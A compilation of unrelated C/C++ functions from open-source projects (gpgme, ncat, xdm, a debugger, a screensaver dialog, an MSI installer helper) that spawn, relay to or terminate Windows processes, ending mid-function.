int _gpgme_io_spawn (const char *path, char *const argv[], unsigned int flags, struct spawn_fd_item_s *fd_list, void (*atfork) (void *opaque, int reserved), void *atforkvalue, pid_t *r_pid) { SECURITY_ATTRIBUTES sec_attr; PROCESS_INFORMATION pi = { NULL, /* returns process handle */ 0, /* returns primary thread handle */ 0, /* returns pid */ 0 /* returns tid */ }; STARTUPINFO si; int cr_flags = (CREATE_DEFAULT_ERROR_MODE | GetPriorityClass (GetCurrentProcess ())); int i; char **args; char *arg_string; /* FIXME. */ int debug_me = 0; int tmp_fd; char *tmp_name; TRACE_BEG1 (DEBUG_SYSIO, "_gpgme_io_spawn", path, "path=%s", path); i = 0; while (argv[i]) { TRACE_LOG2 ("argv[%2i] = %s", i, argv[i]); i++; } /* We do not inherit any handles by default, and just insert those handles we want the child to have afterwards. But some handle values occur on the command line, and we need to move stdin/out/err to the right location. So we use a wrapper program which gets the information from a temporary file. */ if (_gpgme_mkstemp (&tmp_fd, &tmp_name) < 0) { TRACE_LOG1 ("_gpgme_mkstemp failed: %s", strerror (errno)); return TRACE_SYSRES (-1); } TRACE_LOG1 ("tmp_name = %s", tmp_name); args = calloc (2 + i + 1, sizeof (*args)); args[0] = (char *) _gpgme_get_w32spawn_path (); args[1] = tmp_name; args[2] = path; memcpy (&args[3], &argv[1], i * sizeof (*args)); memset (&sec_attr, 0, sizeof sec_attr); sec_attr.nLength = sizeof sec_attr; sec_attr.bInheritHandle = FALSE; arg_string = build_commandline (args); free (args); if (!arg_string) { close (tmp_fd); DeleteFile (tmp_name); return TRACE_SYSRES (-1); } memset (&si, 0, sizeof si); si.cb = sizeof (si); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.wShowWindow = debug_me ? SW_SHOW : SW_HIDE; si.hStdInput = INVALID_HANDLE_VALUE; si.hStdOutput = INVALID_HANDLE_VALUE; si.hStdError = INVALID_HANDLE_VALUE; cr_flags |= CREATE_SUSPENDED; cr_flags |= DETACHED_PROCESS; if (!CreateProcessA (_gpgme_get_w32spawn_path (), arg_string, &sec_attr, /* process security attributes */ &sec_attr, /* thread security attributes */ FALSE, /* inherit handles */ cr_flags, /* creation flags */ NULL, /* environment */ NULL, /* use current drive/directory */ &si, /* startup information */ &pi)) /* returns process information */ { TRACE_LOG1 ("CreateProcess failed: ec=%d", (int) GetLastError ()); free (arg_string); close (tmp_fd); DeleteFile (tmp_name); /* FIXME: Should translate the error code. */ errno = EIO; return TRACE_SYSRES (-1); } free (arg_string); if (flags & IOSPAWN_FLAG_ALLOW_SET_FG) _gpgme_allow_set_foreground_window ((pid_t)pi.dwProcessId); /* Insert the inherited handles. */ for (i = 0; fd_list[i].fd != -1; i++) { HANDLE hd; /* Make it inheritable for the wrapper process. */ if (!DuplicateHandle (GetCurrentProcess(), fd_to_handle (fd_list[i].fd), pi.hProcess, &hd, 0, TRUE, DUPLICATE_SAME_ACCESS)) { TRACE_LOG1 ("DuplicateHandle failed: ec=%d", (int) GetLastError ()); TerminateProcess (pi.hProcess, 0); /* Just in case TerminateProcess didn't work, let the process fail on its own. */ ResumeThread (pi.hThread); CloseHandle (pi.hThread); CloseHandle (pi.hProcess); close (tmp_fd); DeleteFile (tmp_name); /* FIXME: Should translate the error code. */ errno = EIO; return TRACE_SYSRES (-1); } /* Return the child name of this handle. */ fd_list[i].peer_name = handle_to_fd (hd); } /* Write the handle translation information to the temporary file. */ { /* Hold roughly MAX_TRANS quadruplets of 64 bit numbers in hex notation: "0xFEDCBA9876543210" with an extra white space after every quadruplet. 10*(19*4 + 1) - 1 = 769. This plans ahead for a time when a HANDLE is 64 bit. */ #define BUFFER_MAX 810 char line[BUFFER_MAX + 1]; int res; int written; size_t len; if ((flags & IOSPAWN_FLAG_ALLOW_SET_FG)) strcpy (line, "~1 \n"); else strcpy (line, "\n"); for (i = 0; fd_list[i].fd != -1; i++) { /* Strip the newline. */ len = strlen (line) - 1; /* Format is: Local name, stdin/stdout/stderr, peer name, argv idx. */ snprintf (&line[len], BUFFER_MAX - len, "0x%x %d 0x%x %d \n", fd_list[i].fd, fd_list[i].dup_to, fd_list[i].peer_name, fd_list[i].arg_loc); /* Rather safe than sorry. */ line[BUFFER_MAX - 1] = '\n'; line[BUFFER_MAX] = '\0'; } len = strlen (line); written = 0; do { res = write (tmp_fd, &line[written], len - written); if (res > 0) written += res; } while (res > 0 || (res < 0 && errno == EAGAIN)); } close (tmp_fd); /* The temporary file is deleted by the gpgme-w32spawn process (hopefully). */ TRACE_LOG4 ("CreateProcess ready: hProcess=%p, hThread=%p, " "dwProcessID=%d, dwThreadId=%d", pi.hProcess, pi.hThread, (int) pi.dwProcessId, (int) pi.dwThreadId); if (r_pid) *r_pid = (pid_t)pi.dwProcessId; if (ResumeThread (pi.hThread) < 0) TRACE_LOG1 ("ResumeThread failed: ec=%d", (int) GetLastError ()); if (!CloseHandle (pi.hThread)) TRACE_LOG1 ("CloseHandle of thread failed: ec=%d", (int) GetLastError ()); TRACE_LOG1 ("process=%p", pi.hProcess); /* We don't need to wait for the process. */ if (!CloseHandle (pi.hProcess)) TRACE_LOG1 ("CloseHandle of process failed: ec=%d", (int) GetLastError ()); if (! (flags & IOSPAWN_FLAG_NOCLOSE)) { for (i = 0; fd_list[i].fd != -1; i++) _gpgme_io_close (fd_list[i].fd); } for (i = 0; fd_list[i].fd != -1; i++) if (fd_list[i].dup_to == -1) TRACE_LOG3 ("fd[%i] = 0x%x -> 0x%x", i, fd_list[i].fd, fd_list[i].peer_name); else TRACE_LOG4 ("fd[%i] = 0x%x -> 0x%x (std%s)", i, fd_list[i].fd, fd_list[i].peer_name, (fd_list[i].dup_to == 0) ? "in" : ((fd_list[i].dup_to == 1) ? "out" : "err")); return TRACE_SYSRES (0); }
int wm_exec(char *command, char **output, int *status, int secs) { HANDLE hThread; DWORD dwCreationFlags; STARTUPINFO sinfo = { 0 }; PROCESS_INFORMATION pinfo = { 0 }; ThreadInfo tinfo = { 0 }; int retval = 0; sinfo.cb = sizeof(STARTUPINFO); sinfo.dwFlags = STARTF_USESTDHANDLES; // Create stdout pipe and make it inheritable if (!CreatePipe(&tinfo.pipe, &sinfo.hStdOutput, NULL, 0)) { merror("%s: ERROR: CreatePipe()", ARGV0); return -1; } sinfo.hStdError = sinfo.hStdOutput; if (!SetHandleInformation(sinfo.hStdOutput, HANDLE_FLAG_INHERIT, 1)) { merror("%s: ERROR: SetHandleInformation()", ARGV0); return -1; } // Create child process and close inherited pipes dwCreationFlags = wm_task_nice < -10 ? HIGH_PRIORITY_CLASS : wm_task_nice < 0 ? ABOVE_NORMAL_PRIORITY_CLASS : wm_task_nice == 0 ? NORMAL_PRIORITY_CLASS : wm_task_nice < 10 ? BELOW_NORMAL_PRIORITY_CLASS : IDLE_PRIORITY_CLASS; if (!CreateProcess(NULL, command, NULL, NULL, TRUE, dwCreationFlags, NULL, NULL, &sinfo, &pinfo)) { merror("%s: ERROR: CreateProcess(): %ld", ARGV0, GetLastError()); return -1; } CloseHandle(sinfo.hStdOutput); // Create reading thread hThread = CreateThread(NULL, 0, Reader, &tinfo, 0, NULL); if (!hThread) { merror("%s: ERROR: CreateThread(): %ld", ARGV0, GetLastError()); return -1; } // Get output switch (WaitForSingleObject(pinfo.hProcess, secs * 1000)) { case 0: if (status) { DWORD exitcode; GetExitCodeProcess(pinfo.hProcess, &exitcode); *status = exitcode; } break; case WAIT_TIMEOUT: TerminateProcess(pinfo.hProcess, 1); retval = WM_ERROR_TIMEOUT; break; default: merror("%s: ERROR: WaitForSingleObject()", ARGV0); TerminateProcess(pinfo.hProcess, 1); retval = -1; } // Output WaitForSingleObject(hThread, INFINITE); if (retval >= 0) *output = tinfo.output ? tinfo.output : strdup(""); else free(tinfo.output); // Cleanup CloseHandle(hThread); CloseHandle(pinfo.hProcess); CloseHandle(pinfo.hThread); return retval; }
void osd_process_kill(void) { TerminateProcess(GetCurrentProcess(), -1); }
BOOL DebugMainLoop(const DebugOptions *pOptions) { BOOL fFinished = FALSE; BOOL fBreakpointSignalled = FALSE; BOOL fWowBreakpointSignalled = FALSE; BOOL fTerminating = FALSE; while(!fFinished) { DEBUG_EVENT DebugEvent; // debugging event information DWORD dwContinueStatus = DBG_CONTINUE; // exception continuation PPROCESS_INFO pProcessInfo; PTHREAD_INFO pThreadInfo; HANDLE hProcess; // Wait for a debugging event to occur. The second parameter indicates // that the function does not return until a debugging event occurs. if(!WaitForDebugEvent(&DebugEvent, INFINITE)) { OutputDebug("WaitForDebugEvent: 0x%08lx", GetLastError()); return FALSE; } // Process the debugging event code. switch (DebugEvent.dwDebugEventCode) { case EXCEPTION_DEBUG_EVENT: { PEXCEPTION_RECORD pExceptionRecord = &DebugEvent.u.Exception.ExceptionRecord; NTSTATUS ExceptionCode = pExceptionRecord->ExceptionCode; // Process the exception code. When handling // exceptions, remember to set the continuation // status parameter (dwContinueStatus). This value // is used by the ContinueDebugEvent function. if (pOptions->verbose_flag) { lprintf("EXCEPTION PID=%lu TID=%lu ExceptionCode=0x%lx dwFirstChance=%lu\r\n", DebugEvent.dwProcessId, DebugEvent.dwThreadId, pExceptionRecord->ExceptionCode, DebugEvent.u.Exception.dwFirstChance ); } // Find the process in the process list pProcessInfo = &g_Processes[DebugEvent.dwProcessId]; dwContinueStatus = DBG_EXCEPTION_NOT_HANDLED; if (DebugEvent.u.Exception.dwFirstChance) { if (pExceptionRecord->ExceptionCode == (DWORD)STATUS_BREAKPOINT) { // Signal the aedebug event if (!fBreakpointSignalled) { fBreakpointSignalled = TRUE; if (pOptions->hEvent) { SetEvent(pOptions->hEvent); CloseHandle(pOptions->hEvent); } if (pOptions->dwThreadId) { DWORD dwThreadId = pOptions->dwThreadId; const DWORD dwFailed = (DWORD)-1; DWORD dwRet = dwFailed; pThreadInfo = &pProcessInfo->Threads[dwThreadId]; HANDLE hThread = pThreadInfo->hThread; if (hThread != NULL) { dwRet = ResumeThread(hThread); } if (dwRet == dwFailed) { lprintf("error: failed to resume thread %lu\n", dwThreadId); } } /* * We ignore first-chance breakpoints by default. * * We get one of these whenever we attach to a process. * But in some cases, we never get a second-chance, e.g., * when we're attached through MSVCRT's abort(). */ if (!pOptions->breakpoint_flag) { dwContinueStatus = DBG_CONTINUE; break; } } } if (ExceptionCode == STATUS_WX86_BREAKPOINT) { if (!fWowBreakpointSignalled) { fWowBreakpointSignalled = TRUE; dwContinueStatus = DBG_CONTINUE; break; } } /* * Ignore thread naming exception. * * http://msdn.microsoft.com/en-us/library/xcb2z8hs.aspx * * TODO: Note down the thread name */ if (ExceptionCode == 0x406d1388) { dwContinueStatus = DBG_CONTINUE; break; } if (!pOptions->first_chance) { break; } } // XXX: Deferred symbols don't get loaded without this SymRefreshModuleList(pProcessInfo->hProcess); dumpException(pProcessInfo->hProcess, &DebugEvent.u.Exception.ExceptionRecord); // Find the thread in the thread list THREAD_INFO_LIST::const_iterator it; for (it = pProcessInfo->Threads.begin(); it != pProcessInfo->Threads.end(); ++it) { DWORD dwThreadId = it->first; HANDLE hThread = it->second.hThread; if (dwThreadId != DebugEvent.dwThreadId && ExceptionCode != STATUS_BREAKPOINT && ExceptionCode != STATUS_WX86_BREAKPOINT) { continue; } dumpStack(pProcessInfo->hProcess, hThread, NULL); } if (!DebugEvent.u.Exception.dwFirstChance) { /* * Terminate the process. As continuing would cause the JIT debugger * to be invoked again. */ fTerminating = TRUE; TerminateProcess(pProcessInfo->hProcess, (UINT)ExceptionCode); } break; } case CREATE_THREAD_DEBUG_EVENT: if (pOptions->verbose_flag) { lprintf("CREATE_THREAD PID=%lu TID=%lu\r\n", DebugEvent.dwProcessId, DebugEvent.dwThreadId ); } // Add the thread to the thread list pProcessInfo = &g_Processes[DebugEvent.dwProcessId]; pThreadInfo = &pProcessInfo->Threads[DebugEvent.dwThreadId]; pThreadInfo->hThread = DebugEvent.u.CreateThread.hThread; break; case CREATE_PROCESS_DEBUG_EVENT: { HANDLE hFile = DebugEvent.u.CreateProcessInfo.hFile; char szImageName[MAX_PATH]; char *lpImageName = NULL; if (hFile && GetFileNameFromHandle(hFile, szImageName, _countof(szImageName))) { lpImageName = szImageName; } if (pOptions->verbose_flag) { PCSTR lpModuleName = lpImageName ? getBaseName(lpImageName) : ""; lprintf("CREATE_PROCESS PID=%lu TID=%lu lpBaseOfImage=%p %s\r\n", DebugEvent.dwProcessId, DebugEvent.dwThreadId, DebugEvent.u.CreateProcessInfo.lpBaseOfImage, lpModuleName ); } hProcess = DebugEvent.u.CreateProcessInfo.hProcess; pProcessInfo = &g_Processes[DebugEvent.dwProcessId]; pProcessInfo->hProcess = hProcess; pThreadInfo = &pProcessInfo->Threads[DebugEvent.dwThreadId]; pThreadInfo->hThread = DebugEvent.u.CreateProcessInfo.hThread; if (!InitializeSym(hProcess, FALSE)) { OutputDebug("error: SymInitialize failed: 0x%08lx\n", GetLastError()); exit(EXIT_FAILURE); } SymRegisterCallback64(hProcess, &symCallback, 0); loadModule(hProcess, hFile, lpImageName, DebugEvent.u.CreateProcessInfo.lpBaseOfImage); break; } case EXIT_THREAD_DEBUG_EVENT: if (pOptions->verbose_flag) { lprintf("EXIT_THREAD PID=%lu TID=%lu dwExitCode=0x%lx\r\n", DebugEvent.dwProcessId, DebugEvent.dwThreadId, DebugEvent.u.ExitThread.dwExitCode ); } // Remove the thread from the thread list pProcessInfo = &g_Processes[DebugEvent.dwProcessId]; hProcess = pProcessInfo->hProcess; // Dump the stack on abort() if (!fTerminating && isAbnormalExitCode(DebugEvent.u.ExitThread.dwExitCode)) { pThreadInfo = &pProcessInfo->Threads[DebugEvent.dwThreadId]; refreshSymbolsAndDumpStack(hProcess, pThreadInfo->hThread); } pProcessInfo->Threads.erase(DebugEvent.dwThreadId); break; case EXIT_PROCESS_DEBUG_EVENT: { if (pOptions->verbose_flag) { lprintf("EXIT_PROCESS PID=%lu TID=%lu dwExitCode=0x%lx\r\n", DebugEvent.dwProcessId, DebugEvent.dwThreadId, DebugEvent.u.ExitProcess.dwExitCode ); } pProcessInfo = &g_Processes[DebugEvent.dwProcessId]; hProcess = pProcessInfo->hProcess; // Dump the stack on abort() if (!fTerminating && isAbnormalExitCode(DebugEvent.u.ExitThread.dwExitCode)) { pThreadInfo = &pProcessInfo->Threads[DebugEvent.dwThreadId]; refreshSymbolsAndDumpStack(hProcess, pThreadInfo->hThread); } // Remove the process from the process list g_Processes.erase(DebugEvent.dwProcessId); if (!SymCleanup(hProcess)) { OutputDebug("SymCleanup failed with 0x%08lx\n", GetLastError()); } if (g_Processes.empty()) { fFinished = TRUE; } break; } case LOAD_DLL_DEBUG_EVENT: { HANDLE hFile = DebugEvent.u.LoadDll.hFile; char szImageName[MAX_PATH]; char *lpImageName = NULL; if (hFile && GetFileNameFromHandle(hFile, szImageName, _countof(szImageName))) { lpImageName = szImageName; } if (pOptions->verbose_flag) { PCSTR lpModuleName = lpImageName ? getBaseName(lpImageName) : ""; lprintf("LOAD_DLL PID=%lu TID=%lu lpBaseOfDll=%p %s\r\n", DebugEvent.dwProcessId, DebugEvent.dwThreadId, DebugEvent.u.LoadDll.lpBaseOfDll, lpModuleName ); } pProcessInfo = &g_Processes[DebugEvent.dwProcessId]; hProcess = pProcessInfo->hProcess; loadModule(hProcess, hFile, lpImageName, DebugEvent.u.LoadDll.lpBaseOfDll); break; } case UNLOAD_DLL_DEBUG_EVENT: if (pOptions->verbose_flag) { lprintf("UNLOAD_DLL PID=%lu TID=%lu lpBaseOfDll=%p\r\n", DebugEvent.dwProcessId, DebugEvent.dwThreadId, DebugEvent.u.UnloadDll.lpBaseOfDll ); } pProcessInfo = &g_Processes[DebugEvent.dwProcessId]; hProcess = pProcessInfo->hProcess; SymUnloadModule64(hProcess, (UINT_PTR)DebugEvent.u.UnloadDll.lpBaseOfDll); break; case OUTPUT_DEBUG_STRING_EVENT: { if (pOptions->verbose_flag) { lprintf("OUTPUT_DEBUG_STRING PID=%lu TID=%lu\r\n", DebugEvent.dwProcessId, DebugEvent.dwThreadId ); } pProcessInfo = &g_Processes[DebugEvent.dwProcessId]; assert(!DebugEvent.u.DebugString.fUnicode); LPSTR lpDebugStringData = readProcessString(pProcessInfo->hProcess, DebugEvent.u.DebugString.lpDebugStringData, DebugEvent.u.DebugString.nDebugStringLength); lprintf("%s", lpDebugStringData); free(lpDebugStringData); break; } case RIP_EVENT: if (pOptions->verbose_flag) { lprintf("RIP PID=%lu TID=%lu\r\n", DebugEvent.dwProcessId, DebugEvent.dwThreadId ); } break; default: if (pOptions->verbose_flag) { lprintf("EVENT%lu PID=%lu TID=%lu\r\n", DebugEvent.dwDebugEventCode, DebugEvent.dwProcessId, DebugEvent.dwThreadId ); } break; } // Resume executing the thread that reported the debugging event. ContinueDebugEvent( DebugEvent.dwProcessId, DebugEvent.dwThreadId, dwContinueStatus ); } return TRUE; }
/* Relay data between a socket and a process until the process dies or stops sending or receiving data. The socket descriptor and process pipe handles are in the data argument, which must be a pointer to struct subprocess_info. This function is a workaround for the fact that we can't just run a process after redirecting its input handles to a socket. If the process, for example, redirects its own stdin, it somehow confuses the socket and stdout stops working. This is exactly what ncat does (as part of the Windows stdin workaround), so it can't be ignored. This function can be invoked through CreateThread to simulate fork+exec, or called directly to simulate exec. It frees the subprocess_info struct and closes the socket and pipe handles before returning. Returns the exit code of the subprocess. */ static DWORD WINAPI subprocess_thread_func(void *data) { struct subprocess_info *info; char pipe_buffer[BUFSIZ]; OVERLAPPED overlap = { 0 }; HANDLE events[3]; DWORD ret, rc; int crlf_state = 0; info = (struct subprocess_info *) data; /* Three events we watch for: socket read, pipe read, and process end. */ events[0] = (HANDLE) WSACreateEvent(); WSAEventSelect(info->fdn.fd, events[0], FD_READ | FD_CLOSE); events[1] = info->child_out_r; events[2] = info->proc; /* To avoid blocking or polling, we use asynchronous I/O, or what Microsoft calls "overlapped" I/O, on the process pipe. WaitForMultipleObjects reports when the read operation is complete. */ ReadFile(info->child_out_r, pipe_buffer, sizeof(pipe_buffer), NULL, &overlap); /* Loop until EOF or error. */ for (;;) { DWORD n_r, n_w; int i, n; i = WaitForMultipleObjects(3, events, FALSE, INFINITE); if (i == WAIT_OBJECT_0) { /* Read from socket, write to process. */ char buffer[BUFSIZ]; int pending; ResetEvent(events[0]); do { n = ncat_recv(&info->fdn, buffer, sizeof(buffer), &pending); if (n <= 0) goto loop_end; n_r = n; if (WriteFile(info->child_in_w, buffer, n_r, &n_w, NULL) == 0) break; if (n_w != n) goto loop_end; } while (pending); } else if (i == WAIT_OBJECT_0 + 1) { char *crlf = NULL, *wbuf; /* Read from process, write to socket. */ if (GetOverlappedResult(info->child_out_r, &overlap, &n_r, FALSE)) { wbuf = pipe_buffer; if (o.crlf) { n = n_r; if (fix_line_endings((char *) pipe_buffer, &n, &crlf, &crlf_state)) wbuf = crlf; n_r = n; } /* The above call to WSAEventSelect puts the socket in non-blocking mode, but we want this send to block, not potentially return WSAEWOULDBLOCK. We call block_socket, but first we must clear out the select event. */ WSAEventSelect(info->fdn.fd, events[0], 0); block_socket(info->fdn.fd); n = ncat_send(&info->fdn, wbuf, n_r); if (crlf != NULL) free(crlf); if (n != n_r) break; /* Restore the select event (and non-block the socket again.) */ WSAEventSelect(info->fdn.fd, events[0], FD_READ | FD_CLOSE); /* Queue another asychronous read. */ ReadFile(info->child_out_r, pipe_buffer, sizeof(pipe_buffer), NULL, &overlap); } else { if (GetLastError() != ERROR_IO_PENDING) /* Error or end of file. */ break; } } else if (i == WAIT_OBJECT_0 + 2) { /* The child died. There are no more writes left in the pipe because WaitForMultipleObjects guarantees events with lower indexes are handled first. */ break; } else { break; } } loop_end: WSACloseEvent(events[0]); rc = unregister_subprocess(info->proc); ncat_assert(rc != -1); GetExitCodeProcess(info->proc, &ret); if (ret == STILL_ACTIVE) { if (o.debug > 1) logdebug("Subprocess still running, terminating it.\n"); rc = TerminateProcess(info->proc, 0); if (rc == 0) { if (o.debug > 1) logdebug("TerminateProcess failed with code %d.\n", rc); } } GetExitCodeProcess(info->proc, &ret); if (o.debug > 1) logdebug("Subprocess ended with exit code %d.\n", ret); shutdown(info->fdn.fd, 2); subprocess_info_close(info); free(info); rc = WaitForSingleObject(pseudo_sigchld_mutex, INFINITE); ncat_assert(rc == WAIT_OBJECT_0); if (pseudo_sigchld_handler != NULL) pseudo_sigchld_handler(); rc = ReleaseMutex(pseudo_sigchld_mutex); ncat_assert(rc != 0); return ret; }
gboolean cut_win32_kill_process (GPid pid, guint exit_code) { return TerminateProcess(pid, exit_code) ? TRUE : FALSE; }
void STDCALL OSCriticalExit() { SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1, 0, 0); TerminateProcess(GetCurrentProcess(), INVALID); }
void Q3Process::kill() const { if ( d->pid ) TerminateProcess( d->pid->hProcess, 0xf291 ); }
int process_terminate(process_info_t *p) { if (!TerminateProcess(p->process, 1)) return -1; return 0; }
void WaitForChild (void) { pid_t pid; struct display *d; waitType status; #if !defined(X_NOT_POSIX) && !defined(__UNIXOS2__) sigset_t mask, omask; #else int omask; #endif #ifdef UNRELIABLE_SIGNALS /* XXX classic System V signal race condition here with RescanNotify */ if ((pid = wait (&status)) != -1) #else # ifndef X_NOT_POSIX sigemptyset(&mask); sigaddset(&mask, SIGCHLD); sigaddset(&mask, SIGHUP); sigprocmask(SIG_BLOCK, &mask, &omask); Debug ("signals blocked\n"); # else omask = sigblock (sigmask (SIGCHLD) | sigmask (SIGHUP)); Debug ("signals blocked, mask was 0x%x\n", omask); # endif if (!ChildReady && !Rescan) # ifndef X_NOT_POSIX sigsuspend(&omask); # else sigpause (omask); # endif ChildReady = 0; # ifndef X_NOT_POSIX sigprocmask(SIG_SETMASK, &omask, (sigset_t *)NULL); # else sigsetmask (omask); # endif while ((pid = waitpid (-1, &status, WNOHANG)) > 0) #endif { Debug ("Manager wait returns pid: %d sig %d core %d code %d\n", pid, waitSig(status), waitCore(status), waitCode(status)); if (autoRescan) RescanIfMod (); /* SUPPRESS 560 */ if ((d = FindDisplayByPid (pid))) { d->pid = -1; switch (waitVal (status)) { case UNMANAGE_DISPLAY: Debug ("Display exited with UNMANAGE_DISPLAY\n"); StopDisplay (d); break; case OBEYSESS_DISPLAY: d->startTries = 0; d->reservTries = 0; Debug ("Display exited with OBEYSESS_DISPLAY\n"); if (d->displayType.lifetime != Permanent || d->status == zombie) StopDisplay (d); else RestartDisplay (d, FALSE); break; case OPENFAILED_DISPLAY: Debug ("Display exited with OPENFAILED_DISPLAY, try %d of %d\n", d->startTries, d->startAttempts); LogError ("Display %s cannot be opened\n", d->name); /* * no display connection was ever made, tell the * terminal that the open attempt failed */ #ifdef XDMCP if (d->displayType.origin == FromXDMCP) SendFailed (d, "Cannot open display"); #endif if (d->displayType.origin == FromXDMCP || d->status == zombie || ++d->startTries >= d->startAttempts) { LogError ("Display %s is being disabled\n", d->name); StopDisplay (d); } else { RestartDisplay (d, TRUE); } break; case RESERVER_DISPLAY: d->startTries = 0; Debug ("Display exited with RESERVER_DISPLAY\n"); if (d->displayType.origin == FromXDMCP || d->status == zombie) StopDisplay(d); else { Time_t now; int crash; time(&now); crash = d->lastReserv && ((now - d->lastReserv) < XDM_BROKEN_INTERVAL); Debug("time %lli %lli try %i of %i%s\n", (long long)now, (long long)d->lastReserv, d->reservTries, d->reservAttempts, crash ? " crash" : ""); if (!crash) d->reservTries = 0; if (crash && ++d->reservTries >= d->reservAttempts) { const char *msg = "Server crash frequency too high: stopping display"; Debug("%s %s\n", msg, d->name); LogError("%s %s\n", msg, d->name); #if !defined(HAVE_ARC4RANDOM) && !defined(DEV_RANDOM) AddTimerEntropy(); #endif /* For a local X server either: * 1. The server exit was returned by waitpid(). So * serverPid==-1 => StopDisplay() calls RemoveDisplay() * * 2. The server is in zombie state or still running. So * serverPid>1 => StopDisplay() * a. sets status=zombie, * b. kills the server. * The next waitpid() returns this zombie server pid * and the 'case zombie:' below then calls * RemoveDisplay(). */ StopDisplay(d); } else { RestartDisplay(d, TRUE); } d->lastReserv = now; } break; case waitCompose (SIGTERM,0,0): Debug ("Display exited on SIGTERM, try %d of %d\n", d->startTries, d->startAttempts); if (d->displayType.origin == FromXDMCP || d->status == zombie || ++d->startTries >= d->startAttempts) { /* * During normal xdm shutdown, killed local X servers * can be zombies; this is not an error. */ if (d->status == zombie && (d->startTries < d->startAttempts)) LogInfo ("display %s is being disabled\n", d->name); else LogError ("display %s is being disabled\n", d->name); StopDisplay(d); } else RestartDisplay (d, TRUE); break; case REMANAGE_DISPLAY: d->startTries = 0; Debug ("Display exited with REMANAGE_DISPLAY\n"); /* * XDMCP will restart the session if the display * requests it */ if (d->displayType.origin == FromXDMCP || d->status == zombie) StopDisplay(d); else RestartDisplay (d, FALSE); break; default: Debug ("Display exited with unknown status %d\n", waitVal(status)); LogError ("Unknown session exit code %d from process %d\n", waitVal (status), pid); StopDisplay (d); break; } } /* SUPPRESS 560 */ else if ((d = FindDisplayByServerPid (pid))) { d->serverPid = -1; switch (d->status) { case zombie: Debug ("Zombie server reaped, removing display %s\n", d->name); RemoveDisplay (d); break; case phoenix: Debug ("Phoenix server arises, restarting display %s\n", d->name); d->status = notRunning; break; case running: Debug ("Server for display %s terminated unexpectedly, status %d %d\n", d->name, waitVal (status), status); LogError ("Server for display %s terminated unexpectedly: %d\n", d->name, waitVal (status)); if (d->pid != -1) { Debug ("Terminating session pid %d\n", d->pid); TerminateProcess (d->pid, SIGTERM); } break; case notRunning: Debug ("Server exited for notRunning session on display %s\n", d->name); break; } } else { Debug ("Unknown child termination, status %d\n", waitVal (status)); } } StartDisplays (); }
INT_PTR CALLBACK ScreenSaverPageProc(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam) { PDATA pData; pData = (PDATA)GetWindowLongPtr(hwndDlg, DWLP_USER); switch (uMsg) { case WM_INITDIALOG: { OnInitDialog(hwndDlg, pData); break; } case WM_DESTROY: { if (pData->PrevWindowPi.hProcess) { TerminateProcess(pData->PrevWindowPi.hProcess, 0); CloseHandle(pData->PrevWindowPi.hProcess); CloseHandle(pData->PrevWindowPi.hThread); } HeapFree(GetProcessHeap(), 0, pData); break; } case WM_ENDSESSION: { SetScreenSaverPreviewBox(hwndDlg, pData); break; } case WM_COMMAND: { DWORD controlId = LOWORD(wParam); DWORD command = HIWORD(wParam); switch (controlId) { case IDC_SCREENS_LIST: { if (HIWORD(wParam) == CBN_SELCHANGE) { SelectionChanged(hwndDlg, pData); SetScreenSaverPreviewBox(hwndDlg, pData); PropSheet_Changed(GetParent(hwndDlg), hwndDlg); } break; } case IDC_SCREENS_TIMEDELAY: { PropSheet_Changed(GetParent(hwndDlg), hwndDlg); break; } case IDC_SCREENS_POWER_BUTTON: // Start Powercfg.Cpl { if (command == BN_CLICKED) WinExec("rundll32 shell32.dll,Control_RunDLL powercfg.cpl",SW_SHOWNORMAL); break; } case IDC_SCREENS_TESTSC: // Screensaver Preview { if(command == BN_CLICKED) { ScreensaverPreview(hwndDlg, pData); SetScreenSaverPreviewBox(hwndDlg, pData); } break; } case IDC_SCREENS_SETTINGS: // Screensaver Settings { if (command == BN_CLICKED) ScreensaverConfig(hwndDlg, pData); break; } case IDC_SCREENS_USEPASSCHK: // Screensaver Is Secure { if (command == BN_CLICKED) { PropSheet_Changed(GetParent(hwndDlg), hwndDlg); } break; } } break; } case WM_NOTIFY: { LPNMHDR lpnm = (LPNMHDR)lParam; switch(lpnm->code) { case PSN_APPLY: { SetScreenSaver(hwndDlg, pData); return TRUE; } case PSN_SETACTIVE: { /* Enable screensaver preview support */ SetScreenSaverPreviewBox(hwndDlg, pData); break; } case PSN_KILLACTIVE: { /* Kill running preview screensaver */ if (pData->PrevWindowPi.hProcess) { TerminateProcess(pData->PrevWindowPi.hProcess, 0); CloseHandle(pData->PrevWindowPi.hProcess); CloseHandle(pData->PrevWindowPi.hThread); pData->PrevWindowPi.hThread = pData->PrevWindowPi.hProcess = NULL; } break; } } } break; } return FALSE; }
UINT KillRunningProcessesSlave( MSIHANDLE hInstall, BOOL bKill ) { UINT rv = ERROR_SUCCESS; _KillProc * kpList; int nKpList = 0; int i; int rowNum = 1; DWORD size; BOOL found = FALSE; MSIHANDLE hDatabase = NULL; MSIHANDLE hView = NULL; MSIHANDLE hViewInsert = NULL; MSIHANDLE hRecord = NULL; MSIHANDLE hRecordInsert = NULL; HANDLE hSnapshot = NULL; PROCESSENTRY32 pe; kpList = new _KillProc[MAX_KILL_PROCESSES]; memset(kpList, 0, sizeof(*kpList) * MAX_KILL_PROCESSES); hDatabase = MsiGetActiveDatabase( hInstall ); if( hDatabase == NULL ) { rv = GetLastError(); goto _cleanup; } // If we are only going to list out the processes, delete all the existing // entries first. if(!bKill) { rv = MsiDatabaseOpenView( hDatabase, _T( "DELETE FROM `ListBox` WHERE `ListBox`.`Property` = 'KillableProcesses'" ), &hView); RV_BAIL; rv = MsiViewExecute( hView, NULL ); RV_BAIL; MsiCloseHandle( hView ); hView = NULL; rv = MsiDatabaseOpenView( hDatabase, _T( "SELECT * FROM `ListBox` WHERE `Property` = 'KillableProcesses'" ), &hViewInsert); RV_BAIL; MsiViewExecute(hViewInsert, NULL); hRecordInsert = MsiCreateRecord(4); if(hRecordInsert == NULL) { rv = GetLastError(); goto _cleanup; } } // Open a view rv = MsiDatabaseOpenView( hDatabase, _T( "SELECT `Image`,`Desc` FROM `KillProcess`" ), &hView); RV_BAIL; rv = MsiViewExecute( hView, NULL ); RV_BAIL; do { rv = MsiViewFetch( hView, &hRecord ); if(rv != ERROR_SUCCESS) { if(hRecord) MsiCloseHandle(hRecord); hRecord = NULL; break; } kpList[nKpList].image = new TCHAR[ FIELD_SIZE ]; kpList[nKpList].image[0] = 